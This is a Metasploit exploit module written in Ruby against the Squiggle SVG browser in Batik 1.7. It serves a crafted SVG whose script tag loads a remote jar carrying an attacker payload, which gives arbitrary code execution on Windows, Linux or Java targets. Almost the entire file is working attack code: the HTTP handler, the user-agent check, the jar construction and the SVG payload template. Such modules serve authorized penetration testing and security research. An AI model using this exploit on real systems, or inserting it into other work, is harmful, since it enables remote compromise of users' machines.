Squiggle 1.7 SVG Browser Java Code Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Squiggle 1.7 SVG Browser Java Code Execution",
   'Description'    => %q{
     This module abuses the SVG support to execute Java Code in the
    Squiggle Browser included in the Batik framework 1.7 through a
    crafted svg file referencing a jar file.

    In order to gain arbitrary code execution, the browser must meet
    the following conditions: (1) It must support at least SVG version
    1.1 or newer, (2) It must support Java code and (3) The "Enforce
    secure scripting" check must be disabled.

    The module has been tested against Windows and Linux platforms.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Nicolas Gregoire', # aka @Agarri_FR, Abuse discovery and PoC
     'sinn3r',           # Metasploit
     'juan vazquez'      # Metasploit
    ],
   'References'     =>
    [
     ['URL', 'http://www.agarri.fr/blog/']
    ],
   'Payload'       =>
    {
     'Space' => 20480,
     'BadChars' => '',
     'DisableNops' => true
    },
   'DefaultOptions'  =>
    {
     'ExitFunction' => "none"
    },
   'Platform'       => ['win', 'linux', 'java'],
   'Targets'        =>
    [
     [ 'Generic (Java Payload)',
      {
       'Arch' => ARCH_JAVA,
      }
     ],
     [ 'Windows Universal',
      {
       'Arch' => ARCH_X86,
       'Platform' => 'win'
      }
     ],
     [ 'Linux x86',
      {
       'Arch' => ARCH_X86,
       'Platform' => 'linux'
      }
     ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => "May 11 2012",
   'DefaultTarget'  => 0))

 end

 def on_request_uri(cli, request)

  agent = request.headers['User-Agent']
  jar_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
  jar_uri << "/#{rand_text_alpha(rand(6)+3)}.jar"
  rand_text = Rex::Text.rand_text_alphanumeric(rand(8)+4)

  if request.uri =~ /\.jar$/
   paths = [
    [ "Exploit.class" ],
    [ "Exploit$1.class"],
    [ "META-INF", "MANIFEST.MF"]
   ]

   p = regenerate_payload(cli)

   jar  = p.encoded_jar
   paths.each do |path|
    1.upto(path.length - 1) do |idx|
     full = path[0,idx].join("/") + "/"
     if !(jar.entries.map{|e|e.name}.include?(full))
      jar.add_file(full, '')
     end
    end

    fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "batik_svg", path ), "rb")
    data = fd.read(fd.stat.size)
    jar.add_file(path.join("/"), data)
    fd.close
   end

   print_status("Sending jar payload")
   send_response(cli, jar.pack, {'Content-Type'=>'application/java-archive'})

  elsif agent =~ /Batik/
   svg = %Q|
   <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0">
   <script type="application/java-archive" xlink:href="#{jar_uri}"/>
   <text>#{rand_text}</text>
   </svg>
   |

   svg = svg.gsub(/\t\t\t/, '')
   print_status("Sending svg")
   send_response(cli, svg, {'Content-Type'=>'image/svg+xml'})

  else
   print_error("I don't know what the client is requesting: #{request.uri}")
  end
 end
end